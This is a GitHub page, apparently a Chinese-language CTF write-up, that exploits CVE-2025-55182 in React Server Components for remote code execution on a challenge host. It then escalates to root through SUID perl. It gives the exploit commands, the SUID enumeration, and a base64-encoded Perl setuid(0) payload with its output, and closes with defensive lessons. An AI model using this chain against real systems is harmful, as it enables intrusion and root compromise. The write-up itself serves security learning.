AbdullahMaqbool22/Explosive-As-Hell-MCS-Qualifer-Web-500

GitHub: AbdullahMaqbool22/Explosive-As-Hell-MCS-Qualifer-Web-500

一个展示 React Server Components RCE 与 SUID 提权完整攻击链的 CTF 复盘项目。

Stars: 0 | Forks: 0

# CVE-2025-55182 — React Server Components RCE | CTF Writeup ## TL;DR React Server Component 端点存在 CVE-2025-55182(RCE)漏洞 → 枚举 SUID 二进制文件 → `/usr/bin/perl` 具有 SUID 权限 → 使用 Perl 的 POSIX `setuid(0)` 提权至 root → 读取 `/root/flag.txt`。 **Flag:**`MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}` ## 第一步 — 侦察 **目标:**`http://challenge.cybermesh.site:30035/` 目标是一个基于 React 的 Web 应用程序,利用了 **React Server Components(RSC)** —— 一种相对较新的架构,组件在服务器端执行,并通过自定义线性格式将序列化输出流式传输回客户端。 这种架构引入了服务器端执行边界。如果在该边界处对用户输入处理不当,就会引发安全问题,而 **CVE-2025-55182** 正是利用了这一点。 ## 第二步 — 漏洞:CVE-2025-55182 **React Server Components RCE** — 服务器在将用户可控输入传递给服务器端组件执行层之前,未能进行适当清理。这使得攻击者可以注入在 Node.js 进程上下文中执行的系统级 shell 命令。 **攻击流程:** 1. 攻击者构造恶意的 RSC 载荷 2. 服务器反序列化输入并将未清理的值传递给服务器组件函数 3. 执行操作系统命令,结果通过 RSC 响应流式返回 4. 攻击者从响应体中读取命令输出 ## 第三步 — 漏洞利用搭建 针对此 CVE 已有公开的 PoC: ``` git clone https://github.com/surajhacx/react2shellpoc.git cd react2shellpoc ``` 初始验证 — 确认 RCE 和执行上下文: ``` python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami" ``` **输出:** ``` [+] EXPLOITATION SUCCESSFUL ► app ``` 服务器以 `app` 用户运行,并非 root — 需要提权。 ## 第四步 — SUID 二进制文件枚举 扫描 SUID 二进制文件: ``` python exploit.py -t http://challenge.cybermesh.site:30035/ \ -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true" ``` **输出:** ``` [+] EXPLOITATION SUCCESSFUL ► /usr/bin/gpasswd ► /usr/bin/perl <--- !!! ► /usr/bin/chsh ► /usr/bin/su ► /usr/bin/chfn ► /usr/bin/umount ► /usr/bin/mount ► /usr/bin/passwd ► /usr/bin/newgrp ``` `/usr/bin/perl` 具有 **SUID 权限**。这是一个广为人知的 [GTFOBins](https://gtfobins.github.io/gtfobins/perl/) 条目 — 当 Perl 属于 root 且设置了 SUID 时,无论谁调用它,都会以 root 权限执行。 ## 第五步 — 通过 SUID Perl 提权 构造了一个 base64 编码的 Perl 载荷,用于: - 设置 PATH - 调用 `POSIX::setuid(0)` 提升至 root - 打开并读取 `/root/flag.txt` 通过 RCE 端点传递该载荷: ``` python exploit.py \ -t http://challenge.cybermesh.site:30035/ \ -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl" ``` **载荷解码后大致为:** ``` use POSIX; $ENV{PATH}='/bin:/usr/bin'; setuid(0); open(my $vdC9flag,'<', '/root/flag.txt'); print while(<$vdC9flag>); ``` **输出:** ``` [+] EXPLOITATION SUCCESSFUL ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3} ``` ## Flag ``` MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3} ``` ## 关键收获 **1. RSC 攻击面被低估。** React Server Components 是一种新范式。许多部署尚未针对服务器组件边界处的输入注入进行加固。此 CVE 提醒我们,“服务端渲染”并不等同于安全 — 执行边界仍需适当的输入清理。 **2. 脚本语言上的 SUID = 即时 root。** 带有 SUID 的 `/usr/bin/perl` 是一个典型的错误配置。GTFOBins 详细介绍了这一点。不要对脚本语言设置 SUID 位(Perl、Python、Ruby 等)— 与专为 SUID 设计的编译型二进制文件(如 `su`、`passwd`)不同,这些运行时提供了简单的提权路径。 **3. Flag 具有自指性。** `SU1D_AR3_FUN_BUT_N0T_EVERYTIM3` — 挑战明确围绕 SUID Perl 作为预期提权路径设计。干净的攻击链。 ## 攻击链总结 ``` CVE-2025-55182 (RSC RCE) └─> whoami → user "app" └─> find SUID binaries └─> /usr/bin/perl (SUID root) identified └─> base64 Perl payload → write to /tmp/p.pl └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt └─> FLAG ✓ ``` ## 参考资料 - [github.com/surajhacx/react2shellpoc](https://github.com/surajhacx/react2shellpoc) - [GTFOBins — perl SUID](https://gtfobins.github.io/gtfobins/perl/) - [NVD — CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182) *作者:Abdullah Maqbool — 渗透测试工程师 @ TISS | CRTA · CRTOM · CompTIA PenTest+*
标签:CVE-2025-55182, GNU通用公共许可证, MITM代理, Node.js, Perl, POSIX, RCE, React Server Components, RSC, setuid, SUID, Web报告查看器, Writeup, 协议分析, 反序列化, 命令注入, 提权, 服务器端组件, 权限提升, 枚举, 编程工具, 网络安全审计, 远程代码执行